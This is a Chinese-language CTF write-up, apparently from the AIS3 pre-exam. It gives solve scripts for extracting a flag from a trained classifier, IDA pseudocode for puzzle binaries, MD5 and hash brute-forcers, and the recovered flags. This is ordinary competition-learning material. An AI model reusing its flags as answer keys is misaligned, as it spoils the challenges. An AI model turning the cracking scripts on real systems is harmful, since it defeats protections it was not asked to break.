from tensorflow.keras.models import Sequential, load_model
from tensorflow.keras.layers import Embedding, Dense, Flatten

import numpy as np
import random

chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}'

def encode(string):
'''Encode string into indeces according to chars.'''
return np.array([chars.index(c) for c in string])

def decode(indeces):
'''Decode indeces of chars into string.'''
return ''.join(map(chars.__getitem__, indeces))

def build_model(flag_size, dim):
'''Build a model to classify flag and non-flags.'''
model = Sequential()
model.add(Embedding(dim, 32, input_length=flag_size))
model.add(Flatten())
model.add(Dense(512, activation='relu'))
model.add(Dense(256, activation='relu'))
model.add(Dense(128, activation='relu'))
model.add(Dense(1, activation='sigmoid'))

model.compile(
loss='binary_crossentropy',
optimizer='adam',
metrics=['accuracy'])

return model

def generate_noise(size, dim):
'''Generate random indeces within range(dim).'''
return np.random.randint(dim, size=size)

def dataset(dataset_size, flag, dim):
'''Construct dataset for training.'''
m_true = dataset_size // 2
m_false = dataset_size - m_true

x_true = np.tile(flag, (m_true, 1))
y_true = np.ones((m_true, 1))

x_false = np.stack(generate_noise(flag.size, dim) for _ in range(m_false))
y_false = np.zeros((m_false, 1))

idxs = list(range(dataset_size))
random.shuffle(idxs)

xs = np.concatenate((x_true, x_false), axis=0)[idxs]
ys = np.concatenate((y_true, y_false), axis=0)[idxs]

return xs, ys


if __name__ == '__main__':

with open('flag.txt') as f:
flag = encode(f.read().strip())

model = build_model(flag.size, len(chars))
model.summary()

for i in range(16):
model.fit(
*dataset(4096, flag, len(chars)),
batch_size=32, epochs=1, verbose=True)

model.save('model.h5')


def flag_score(x):
return model.predict(x.reshape(1, -1))[0][0]

print(decode(flag), flag_score(flag))

for _ in range(10):
noise = generate_noise(flag.size, len(chars))
print(decode(noise), flag_score(noise))

總之最後看懂了之後就寫了一個算法一位一位枚舉要是哪個字元,每次把最高的那個當作對的

雖然這樣不一定是最佳解,不過我猜應該也足夠讓我猜出答案了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/bin/env python3

# pylint: disable=import-error
from tensorflow.keras.models import Sequential, load_model
from tensorflow.keras.layers import Embedding, Dense, Flatten

import numpy as np
import random

chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}'

def encode(string):
'''Encode string into indeces according to chars.'''
return np.array([chars.index(c) for c in string])

def decode(indeces):
'''Decode indeces of chars into string.'''
return ''.join(map(chars.__getitem__, indeces))

def build_model(flag_size, dim):
'''Build a model to classify flag and non-flags.'''
model = Sequential()
model.add(Embedding(dim, 32, input_length=flag_size))
model.add(Flatten())
model.add(Dense(512, activation='relu'))
model.add(Dense(256, activation='relu'))
model.add(Dense(128, activation='relu'))
model.add(Dense(1, activation='sigmoid'))

model.compile(
loss='binary_crossentropy',
optimizer='adam',
metrics=['accuracy'])

return model

def generate_noise(size, dim):
'''Generate random indeces within range(dim).'''
return np.random.randint(dim, size=size)

def dataset(dataset_size, flag, dim):
'''Construct dataset for training.'''
m_true = dataset_size // 2
m_false = dataset_size - m_true

x_true = np.tile(flag, (m_true, 1))
y_true = np.ones((m_true, 1))

x_false = np.stack(generate_noise(flag.size, dim) for _ in range(m_false))
y_false = np.zeros((m_false, 1))

idxs = list(range(dataset_size))
random.shuffle(idxs)

xs = np.concatenate((x_true, x_false), axis=0)[idxs]
ys = np.concatenate((y_true, y_false), axis=0)[idxs]

return xs, ys


if __name__ == '__main__':

model = load_model( 'model.h5' )

def flag_score(x):
return model.predict(x.reshape(1, -1))[0][0]

flag_size = 31
flag = ""
for i in range(flag_size):
best_str, best_scr = flag, 0
for c in chars:
cur_flag = flag+c+"_"*(flag_size-i-1)
scr = flag_score(encode(cur_flag))
if scr > best_scr:
best_str, best_scr = flag+c, scr
flag = best_str
print(flag)

實際跑起來拿到AIS3{YOU_REALLY_DIDLA_GOOD_JOA}猜測真實FLAG應該是AIS3{YOU_REALLY_DID_A_GOOD_JOB}

WTF

拿到一堆圖片不知道要幹嘛

然後題目有個小hint是用希伯來文寫的諾亞方舟

看解答才知道原來是要寫個flood fill…

Reverse

Trivial

拿到一個執行檔,先strings一下拿到一個看起來很像flag的東東

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

...

__gmon_start__
_ITM_registerTMCloneTable
AIS3
IS3{
S3{T
3{Th
{Thi
This
his_
is_i
s_is
_is_
is_a
s_a_
_a_r
a_re
_rea
real
eall
alll
llll
llll
llll
llll
llll
llll
llll
llll
llly
lly_
ly_b
y_bo
_boa
boar
oari
arii
riii
iiin
iing
ing_
ng_c
g_ch
_cha
chal
hall
alle
llen
leng
enge
nge}H
AWAVI
AUATL
[]A\A]A^A_
%60s
Fail
Nice
;*3$"

...

把那坨東西蒐集一下就變成flag: AIS3{This_is_a_reallllllllllly_boariiing_challenge}

TsaiBro

拿到一個執行檔跟一個莫名其妙的檔案

1
2
Terry...逆逆...沒有...學問...單純...分享...個人...生活...感觸...
發財....發財...發財.....發財...發財......發財.....發財.......發財.......發財........發財......發財....發財.發財.......發財....發財...發財.....發財........發財........發財.......發財........發財...發財..發財.發財.....發財........發財........發財.發財.發財........發財........發財.發財..發財.......發財.....發財.發財.......發財........發財........發財.發財......發財.......發財........發財..發財......發財........發財........發財.......發財....發財.發財......發財........發財........發財...發財....發財...發財...發財.發財.發財..發財.發財.發財..發財...發財..發財..發財.......發財........發財........發財..發財......發財.......發財....發財...發財.......發財........發財.......

把執行檔拿去IDA F5後看到原來這是某個加密的程式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 result; // rax
char **v4; // [rsp+0h] [rbp-40h]
int i; // [rsp+14h] [rbp-2Ch]
signed int j; // [rsp+18h] [rbp-28h]

v4 = a2;
if ( a1 == 1 )
{
printf("./TsaiBro string", a2, a3, a2);
result = 0LL;
}
else
{
puts(hello_string);
for ( i = 0; i < strlen(v4[1]); ++i )
{
for ( j = 0; j <= 63; ++j )
{
if ( encrypt_table[j] == v4[1][i] )
{
printf(&byte_968, (unsigned int)(j / 8 + 1), "..........", (unsigned int)(j % 8 + 1), "...........", v4);
break;
}
}
}
result = 0LL;
}
return result;
}

顯然的那些點的數量就代表是哪個字串,所以把encrypt_table拿出來

1
2
0x61,0x62,0x63,0x64,0x65,0x66,0x67,0x68,0x69,0x6A,0x6B,0x6C,0x6D,0x6E,0x6F,0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x77,0x78,0x79,0x7A,0x41,0x42,0x43,0x44,0x45,0x46,0x47,0x48,0x49,0x4A,0x4B,0x4C,0x4D,0x4E,0x4F,0x50,0x51,0x52,0x53,0x54,0x55,0x56,0x57,0x58,0x59,0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x7B,0x7D,0x5F

然後透過點的數量對照回去就拿到flag: AIS3{y0u_4re_a_b1g_f4n_0f_tsaibro_n0w}

HolyGrenade

拿到一個pyc檔拿去decompile回來大概回拿到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Python bytecode 3.7 (3394)
# Embedded file name: HolyGrenade.py
# Size of source mod 2**32: 829 bytes
# Decompiled by https://python-decompiler.com

from secret import flag
from hashlib import md5

def Hash(arg):
arg = bytearray(arg, 'ascii')
for i in range(0, len(arg), 4):
a = arg[i]
b = arg[i + 1]
c = arg[i + 2]
d = arg[i + 3]
arg[i + 2] = d
arg[i + 1] = a
arg[i + 3] = b
arg[i] = c

return arg.decode('ascii')


flag += '0' * (len(flag) % 4)

for i in range(0, len(flag), 4):
print(Hash(md5(bytes(flag[i:i + 4],'ascii')).hexdigest()))

搭配給定的output.txt裡面的md5就可以暴力破解出md5了

1
2
3
4
5
6
7
8
ba3a7f3bd92a5d418f5e16886db62674 : AIS3
33e4500b205b80e52dd52e796cba8b7d : {7he
7d1c09bbf2025facf6bd0fec0ec6a780 : re_1
9cedd8dee7b5b87838d7a9bed76df8e5 : 5_th
764d30cb4807c5a870a47b53be6cf662 : e_k1
f1e8fda6c3ff87e43905ea1690624c64 : ll3r
d7939cb11edaa9b1fb05efb4e2946f75 : _ra6
5ae001ebd955475c867617bdb72e7728 : 61t}

flag: AIS3{7here_15_the_k1ll3r_ra661t}

0neWay

這題當初解的超辛苦的ww

拿到一個執行檔,跑起來叫我回答三個問題

先拿IDA F5後拿到一個看起來是驗證的功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
signed __int64 __fastcall hash(char *a1)
{
char *v1; // rax
char *v3; // [rsp+0h] [rbp-18h]
signed __int64 i; // [rsp+10h] [rbp-8h]

v3 = a1;
for ( i = 5381LL; ; i = 33 * i + (unsigned __int8)*v1 )
{
v1 = v3++;
if ( !*v1 )
break;
}
return i;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
int __cdecl main(int argc, const char **argv, const char **envp)
{
signed __int64 v3; // r12
unsigned int v4; // ebx
signed __int64 v5; // rax
int result; // eax
int v7; // eax
void *v8; // rax
int key_len; // [rsp+8h] [rbp-58h]
int v10; // [rsp+Ch] [rbp-54h]
void *ptr; // [rsp+10h] [rbp-50h]
FILE *stream; // [rsp+18h] [rbp-48h]
char key[8]; // [rsp+20h] [rbp-40h]
__int64 v14; // [rsp+28h] [rbp-38h]
__int64 v15; // [rsp+30h] [rbp-30h]
int v16; // [rsp+38h] [rbp-28h]
__int16 v17; // [rsp+3Ch] [rbp-24h]
unsigned __int64 v18; // [rsp+48h] [rbp-18h]

v18 = __readfsqword(0x28u);
*(_QWORD *)key = 0LL;
v14 = 0LL;
v15 = 0LL;
v16 = 0;
v17 = 0;
puts("-----");
puts("I encrypted a image in this binary,");
puts("you have to answer my questions to decrypt it,");
puts("cuz only my friends can view this secret image");
puts("-----");
puts("Who am I? (lowercase)");
__isoc99_scanf("%4s", key);
key_len = strlen(key);
puts("How old am I?");
__isoc99_scanf("%2s", &key[key_len]);
key_len = strlen(key);
puts("What the name of my first pet? (lowercase)");
__isoc99_scanf("%20s", &key[key_len]);
key_len = strlen(key);
v3 = hash(&key_len);
v4 = key_len;
v5 = hash(key);
printf("%s, %lu, %d, %lu", key, v5, v4, v3);
if ( hash(&key_len) == 177593 && hash(key) == 8932587927620123215LL )
{
ptr = &binary_flag_jpg_start;
v10 = 0;
stream = fopen("./flaggggg.jpg", "w");
if ( stream )
{
while ( ptr != &binary_flag_jpg_end )
{
v7 = v10++;
*(_BYTE *)ptr ^= key[v7 % key_len];
v8 = ptr;
ptr = (char *)ptr + 1;
fwrite(v8, 1uLL, 1uLL, stream);
}
puts("you got my secret photo");
fclose(stream);
result = 0;
}
else
{
puts("write file error !");
result = -2;
}
}
else
{
puts("haker haker go away");

因為知道的是jpg,而且jpg的檔頭跟檔尾是固定的加上他有給長度的限制,所以我們可以leak出一些key的內容,剩下再透過暴力破解就好

不過要注意jpg有些版本資訊不太一樣,所以這邊我是一個一個試試看的

寫了份腳本跑了很久很久終於找到key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <stdio.h>
#include <stdbool.h>
#include <inttypes.h>

int LEN = 20;
int64_t target_hash = 8932587927620123215LL;

int64_t hash( char *a1 ) {

int64_t h = 5381;
for ( int i = 0 ; a1[ i ] ; ++ i )
h = 33 * h + ( ( uint8_t ) a1[ i ] );

return h;
}

int main() {
/* '!' means not sure */
//////////////////////////!/////!!
char ans[] = "nini??ididnot?????et";

for(char a='0';a<='9';++a){
ans[4]=a;
for(char b='0';b<='9';++b){
ans[5]=b;
for(char c='a';c<='z';++c){
ans[13]=c;
for(char d='a';d<='z';++d){
ans[14]=d;
for(char e='a';e<='z';++e){
ans[15]=e;
for(char f='a';f<='z';++f){
ans[16]=f;
for(char g='a';g<='z';++g){
ans[17]=g;
if(hash(ans)==target_hash){
puts(ans);
}
}
}
}
}
}
}
}
puts("sad");
return 0;
}

成功輸進去後就拿到一個帶有flag的jpg

problem 0neWay's flag

所以flag就是AIS3{Did_y0u_t5y_t0_65u7e_f0rc3_7h1s}

但看到官解才發現根本不需要那麼麻煩QQ

似乎有某塊直接leak出key了

MasterPiece

一個windows的QT題,沒解過windows相關的reverse題,也不太會用拿x64dbg,只好果斷放棄

Game

又是一題windows題,原本想拿cheat engine玩玩看,但用不太出來,也不知道哪邊會有flag

一樣只好放棄,看官解原來是他會有類似跑馬燈的效果顯示flag…

BigO1

看起來像是跟之前benson事件有關的東東

不過因為我沒辦法用ida f5了,然後也沒空認真讀組語就放棄了

看官解看起來是要用gdb做事QQ

Pwn

我的pwn真的廢到笑,所以就不想寫題解了,反正我也只解一題QQ..

看看上面的大佬都會做pwn,我這暑假真的要好好來學pwn了